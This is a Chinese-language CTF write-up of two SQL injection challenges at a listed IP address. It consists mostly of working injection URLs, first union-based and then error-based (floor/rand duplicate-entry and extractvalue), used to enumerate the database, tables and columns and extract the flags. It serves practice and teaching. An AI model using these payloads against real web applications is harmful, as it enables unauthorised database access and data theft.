WEB——从 0 开始 SQLI 之 0

首先构造：http://45.32.25.65/nweb/sqli1/?user=user1%27，由返回信息得到是字符型，然后构造 payload: http://45.32.25.65/nweb/sqli1/?user=user1%27%20union%20select%20database(),user()--+

id	name
1	user1
hctfsqli1	hctfsqli1@localhost

得到

继续构造 payload 得到表名：http://45.32.25.65/nweb/sqli1/?user=user1%27%20union%20select%20table_name,2%20from%20information_schema.tables%20where%20table_schema=%20%27hctfsqli1%27--+

id	name
1	user1
hhhhctf	2
users	2

得到表名后就继续查字段，payload: http://45.32.25.65/nweb/sqli1/?user=user1%27%20union%20select%20column_name,2%20from%20information_schema.columns%20where%20table_schema=%20%27hctfsqli1%27%20and%20table_name=%20%27hhhhctf%27--+

id	name
1	user1
flag	2

构造最后的 payload：http://45.32.25.65/nweb/sqli1/?user=user1%27%20union%20select%20flag,2%20from%20hhhhctf--+ 得到 flag

id	name
1	user1
hctf{flrst_sql1_is_34sy}	2

WEB——从 0 开始 SQLI 之 1

构造 payload:http://45.32.25.65/nweb/sqli2/?id=1%E2%80%98 可以看出是数字型的

接着尝试：http://45.32.25.65/nweb/sqli2/?id=1%20union%20select%20database(),user()

发现只能输出 uesrname， 但是由于报错信息返回正常所以使用报错注入，

输入：

http://45.32.25.65/nweb/sqli2/?id=1+and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,database(),0x7e)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)

结果返回：Duplicate entry '~hctfsqli2~1' for key 'group_key' 可以得到数据库名 接着 payload：

http://45.32.25.65/nweb/sqli2/?id=1+and(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,table_name,0x7e)%20FROM%20informatio

n_schema.tables%20where%20table_schema=database()%20LIMIT%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 返回信息：

```
Duplicate entry '~hhhhctf~1' for key 'group_key'
```

接着查字段，payload：

http://45.32.25.65/nweb/sqli2/?id=1+and(select%202%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,column_name,0x7e)%20FROM%20information_schema.columns%20where%20table_name=0x68686868637466%20LIMIT%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)

返回信息：

```
Duplicate entry '~flag~1' for key 'group_key'
```

然后查内容 payload：

http://45.32.25.65/nweb/sqli2/?id=1+and%20extractvalue(1,%20concat(0x7e,(SELECT%20distinct%20concat(0x23,flag,0x3a,1,0x23)%20FROM%20hhhhctf%20limit%200,1)))

返回信息：

```
XPATH syntax error: '~#hctf{com3_On_h4v3_a_try233}:1#'
```